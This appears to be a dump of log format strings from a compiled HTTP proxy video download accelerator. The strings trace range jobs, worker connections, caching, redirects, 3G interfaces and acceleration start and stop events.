HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - The cache manager was stopped.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Stopping the cache manager.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All the workers where deleted.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Deleting all the workers.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Exit Command was set.

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers left (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d - There are %d workers (NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d (Forward)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d, Job:%d (Reverse)

[FileDownloadMgr::ContinueWithoutAcceleration] FDM=%d

[FileDownloadMgr::OnWorkerConnectionClosed] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::OnWorkerConnectionEstablished] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::Stop] FDM=%d - All connections where closed.

[FileDownloadMgr::Stop] FDM=%d - Closing all connections.

[FileDownloadMgr::Stop] FDM=%d - All jobs in the cache manager where removed.

[FileDownloadMgr::Stop] FDM=%d - Remove all jobs in the cache manager.

[FileDownloadMgr::Stop] FDM=%d - The cache manager was reset.

[FileDownloadMgr::Stop] FDM=%d - Reset the cache manager.

[FileDownloadMgr::Stop] FDM=%d - All the workers where deleted.

[FileDownloadMgr::Stop] FDM=%d - Deleting all the workers.

[FileDownloadMgr::Stop] FDM=%d - The working thread was stopped.

[FileDownloadMgr::Stop] FDM=%d Wait for the working thread to exit...

[FileDownloadMgr::Stop] FDM=%d - Stopping the working thread.

[FileDownloadMgr::Stop] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnError] FDM=%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::OnError] FDM=%d (%d),Req:%d ___Error NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Range job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating Acceleration Data.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error setting the request in the job.

[FileDownloadMgr::CreateJobInfo] FDM=%d ___Error creating a new Time job.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetBuffer failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function BuildHeader failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function SetFieldData failed.

[FileDownloadMgr::UpdateRequest] FDM=%d ___Error: The function ParseHeader failed.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) %lld-%lld (size: %lld)

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Range was shorten

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d), Job:%d - Download via Cellular Interface

[FileDownloadMgr::InitiateRangeDownload] FDM=%d (%d) - Start Job with Original request

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, ___Error - Create Worker.

[FileDownloadMgr::InitiateRangeDownload] FDM=%d, Range: %lld-%lld, 3G: %d

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Starting the job.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Starting Req:%d.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - creating a Worker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d ___Error - Getting pICacheWorker.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, Job:%d *** Going to recover failed download - Range: %lld-%lld ***.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d, ___Error: Job:%d - reached the maximum recoveries.

[FileDownloadMgr::RecoverFailedDownload] FDM=%d (%d) - Stopping worker !!!

[FileDownloadMgr::RecoverFailedDownload] FDM=%d --- No failed downloads to recover ---

[FileDownloadMgr::RecoverFailedDownload] FDM=%d

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Acceleration support is not definitive yet

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - *** was assisted ***

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - InitiateRangeDownload

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - Shorting the slow job range

[FileDownloadMgr::HelpSlowWorker] FDM=%d, Job:%d - BytesUntilBuffering: %lld

[FileDownloadMgr::HelpSlowWorker] FDM=%d ___Error - JobInfo invalid

[FileDownloadMgr::UpdatePlayRate] FDM=%d - Play Rate: %d, Duration: %d, Header Size: %lld

?[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d - Worker was Redirected !

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error RestartWorkerToRedirectDomain

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error AddDomainToRedirectList

[FileDownloadMgr::RedirectRequet] FDM=%d (%d),Req:%d ___Error UpdateRequest

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - The Data should be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error The Data should NOT be sent.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error Download was complete - closing the worker.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error *** HD Acceleration NOT Supported ***

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d *** Not accelerating *** Not in Partner process and no UI found at: %s

JsDriver.exe

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d - Accelerating due to Partner.

[FileDownloadMgr::OnData] FDM=%d (%d),Req:%d ___Error FDM_State: %d.

[FileDownloadMgr::InitiateFirstDownloaders] **** FDM=%d, Initial Ranges: %lld-%lld

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Warning Not allowed - FDM_State: %d, EOF: %d, Connections: %d/%d, Redirection problem: %d, Acceleration problem: %d, DownloadComplete: %d

[FileDownloadMgr::DownloadNextRange] FDM=%d ___Error - getting next range

[FileDownloadMgr::DownloadNextRange] FDM=%d, calling to stop UI notification

[FileDownloadMgr::DownloadNextRange] FDM=%d, 3G: %d

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Master Remote Ranges: %lld-%lld (%lld bytes)

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d - Time Acceleration, Begin: %lld

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges

[FileDownloadMgr::UpdateMasterRanges] FDM=%d (%d),Req:%d Master Remote Ranges - were already updated

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Error Range not in Header or URI !

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d ___Warning Tried to modify a none Master response header

[FileDownloadMgr::UpdateResponse] FDM=%d (%d),Req:%d - Master was shorten

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should not be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Stopping the worker.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** AccelerateIsSupported = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Range is bigger then master

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error: Stopping this worker only - Acceleration is not supported according to response.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Worker Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Stopping the worker - Acceleration was stopped.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Warning Seek Acceleration not supported according to its rule

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d *** ShouldAccelerate = TRUE ***

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - The header should be sent (redirect)

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error adding the domain %s to the redirect list.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error updating the master response header.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Master Redirection failed - continue without redirection.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Master Request should be redirected

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Got Redirect Response

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d ___Error Worker has no job.

[FileDownloadMgr::OnHeader] FDM=%d (%d),Req:%d - Header was received

[~FileDownloadMgr] FDM=%d - Leave

[~FileDownloadMgr] FDM=%d - Enter

[FileDownloadMgr] FDM=%d

[FileDownloadMgr] FDM=%d, LimitInitialConnections: %d

[FileDownloadMgr] FDM=%d, StartCachingSize: %d

[FileDownloadMgr] FDM=%d ___Error invalid HTTP Configuration

[FileDownloadMgr] FDM=%d ___Error invalid Config

[FileDownloadMgr::DownloadCacheData] FDM=%d - Request added.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error adding request FDM=%d, Req:%d (IP:%s, port:%d).

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error initializing FDM=%d.

[FileDownloadMgr::DownloadCacheData] FDM=%d ___Error new FileDownloadMgr

[FileDownloadMgr::DownloadCacheData] FDM=%d

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error starting download sequence.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download sequence started!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d (%d),Req:%d - Starting Request...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Error Creating Remote Master Worker

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Create a new FDM for caching ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use owner FDM: %d ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d ___Warning *** Use existing Cached Data ***

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Total download time: %d sec, size: %lld

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Reset download time & size

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Extension changed the Request

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Virtual request - no need for Remote...

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Old IP = %s --> New IP = %s

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Current Request has a different domain - Need to Reset FDM.

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Download request not accelerated !!!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Request queue is empty!

[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence

[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request

[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...

[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---

[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---

[FileDownloadMgr::Work] FDM=%d - Exit thread now...

[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###

[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)

[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d

[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...

